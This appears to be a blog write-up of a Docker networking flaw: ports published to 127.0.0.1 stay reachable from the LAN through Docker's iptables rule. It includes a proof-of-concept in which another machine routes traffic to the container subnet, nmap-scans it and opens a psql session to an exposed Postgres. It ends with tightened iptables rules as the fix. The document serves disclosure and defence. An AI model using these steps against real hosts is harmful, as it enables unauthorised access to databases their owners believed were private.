Why Mapping Docker Ports to 127.0.0.1 Isn’t Safe – Exploit and Fix

Background

Two days ago a Hacker News post highlighted an email sent to the Docker security team describing a serious security flaw: exposing a container port with -p 127.0.0.1:80:80 does not actually restrict access to the loopback address.

Root Cause

Docker automatically adds an iptables rule that forwards traffic from any source to the container’s internal IP (e.g., 172.17.0.2). Consequently, an external attacker who can reach that internal IP can access the service even though the host port was bound to 127.0.0.1.

🐳 → iptables -nvL DOCKER
Chain DOCKER (2 references)
 pkts bytes target prot opt in  out  source          destination
   0   0   ACCEPT tcp  --  !docker0 docker0 0.0.0.0/0 172.17.0.2 tcp dpt:80

Proof‑of‑Concept

1. Run a PostgreSQL container on machine A and bind the port to 127.0.0.1:

# IP: 192.168.0.100
🐳 → docker run -e POSTGRES_PASSWORD=password -p 127.0.0.1:5432:5432 postgres

2. On machine B (same LAN) add a route directing traffic for 172.16.0.0/12 to machine A:

# IP: 192.168.0.200
🐳 → ip route add 172.16.0.0/12 via 192.168.0.100

3. Scan the port from B:

🐳 → nmap -p5432 -Pn --open 172.16.0.0/12
Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-05 15:00 CDT
Nmap scan report for 172.17.0.2
Host is up (0.00047s latency).

PORT     STATE SERVICE
5432/tcp open  postgresql

4. Connect directly to PostgreSQL from B:

🐳 → psql -h 172.17.0.2 -U postgres
Password for user postgres:

Proposed Fix

The author suggested tightening the iptables rule to restrict the source address and network interface. The original rule for -p 127.0.0.1:5432:5432 looks like:

Chain DOCKER (2 references)
 pkts bytes target prot opt in  out  source          destination
   0   0   ACCEPT tcp  --  !docker0 docker0 0.0.0.0/0 172.17.0.2 tcp dpt:5432

Improved rule limiting traffic to the loopback interface:

Chain DOCKER (2 references)
 pkts bytes target prot opt in out source          destination
   0   0   ACCEPT tcp  --  lo docker0 127.0.0.1/8 172.17.0.2 tcp dpt:5432

If the host address is 192.168.0.100/24, the rule should be:

Chain DOCKER (2 references)
 pkts bytes target prot opt in out source          destination
   0   0   ACCEPT tcp  --  eth0 docker0 192.168.0.0/24 172.17.0.2 tcp dpt:5432

Finally, the default behavior should map to 127.0.0.1 when no explicit IP is provided. While users can add custom iptables rules, the realistic solution is for Docker to fix the bug and release an updated version.